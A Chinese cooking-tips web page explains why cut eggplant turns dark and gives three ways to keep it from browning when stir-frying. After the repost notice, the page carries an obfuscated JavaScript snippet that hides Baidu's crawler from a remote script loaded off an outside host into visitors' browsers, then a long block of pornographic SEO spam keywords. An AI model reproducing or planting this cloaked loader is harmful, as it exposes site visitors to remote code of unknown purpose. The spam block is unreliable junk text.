當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

怎么炒茄子才不會變黑?

2017-04-07 09:30:10  來源:360常識網(wǎng)   熱度:
導(dǎo)語:炒茄子時,最好適當(dāng)多放油,加些花椒或蒜片炸香,放入茄子不斷翻動,在快熟時再放鹽和蒜調(diào)味,再加入少量白醋或番茄叮這樣炒出的茄子不變黑,味道又濃香可口。

怎么炒茄子才不會變黑?

怎么炒茄子才不會變黑?

茄子為什么會變黑?

眾所周知,茄子只要一切開,就很容易變黑,這是什么原因呢?這是因為茄子中存在一種叫“酚氧化酶”,遇到氧氣之后,就能夠和茄子中豐富的“酚類”物質(zhì)發(fā)生化學(xué)反應(yīng),產(chǎn)生一些有色的物質(zhì)。反應(yīng)時間越長,顏色越深,從紅變褐,從褐到黑。這種酶雖然討厭,卻也有弱點:一怕高溫,二怕酸,三怕維生素C,四是沒有氧氣就無法干壞事。掌握這個規(guī)律,就可以制服它。

怎么炒茄子才不會變黑?

方法1:鹽水浸泡

將切好后的茄子馬上放入淡鹽水中浸泡,在臨烹制時撈起并瀝干,就不會變色了。

方法2:多放油

炒茄子時,最好適當(dāng)多放油,加些花椒或蒜片炸香,放入茄子不斷翻動,在快熟時再放鹽和蒜調(diào)味,再加入少量白醋或番茄叮這樣炒出的茄子不變黑,味道又濃香可口。

原理:油多的時候,茄子一下鍋就被油包裹住,首先就隔絕了空氣。油溫本來就高,油傳熱又比水快,于是茄子的溫度很快升高。超過70度,酶就大部分失去活性了。再加上番茄中的維生素C和醋里的酸,它就徹底沒有作亂的機(jī)會啦!這樣炒茄子,即使是不削皮也照樣保持比較好看的顏色。

方法3:把茄子炸透

做燒茄子時,因為先要把茄塊放在油鍋里炸透,所以酶已經(jīng)被充分地殺滅,撈出來放其他調(diào)料后,也不會再有變黑的事情發(fā)生了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产成人精品优优av| 免费国产精品视频| 国产在线精品一区二区在线观看| 在线综合亚洲中文精品| 伊人久久综合精品无码AV专区| 成人H动漫精品一区二区| 99精品久久99久久久久久| 精品国产婷婷久久久| 国产精品国产AV片国产| 99精品在线视频| 亚洲人精品午夜射精日韩| 国产亚洲情侣久久精品| 亚洲精品成a人在线观看☆| 亚洲国产精品lv| 91国内外精品自在线播放| 日本免费精品一区二区三区| 99久久99久久久精品齐齐| 亚洲一二成人精品区| 奇米影视国产精品四色| 亚洲国产精品人人做人人爽| 亚洲精品乱码久久久久蜜桃| 91精品91久久久久久| 国产成人A人亚洲精品无码| 老司机成人精品视频lsj| 国产精品毛多多水多| 国产成人精品三级在线| 91精品福利一区二区三区野战| 精品在线免费观看| 久久99精品国产麻豆婷婷| 国产精品jvid在线观看| 亚洲精品国产精品| 狠狠色香婷婷久久亚洲精品| 99久久综合给久久精品| 久久精品一区二区三区资源网| 自拍中文精品无码| 国产精品乱码一区二区三区| 日韩精品无码永久免费网站| 国产成人无码精品一区不卡| 成人国产精品999视频| 国产精品蜜臂在线观看| 精品久久久久久中文字幕女|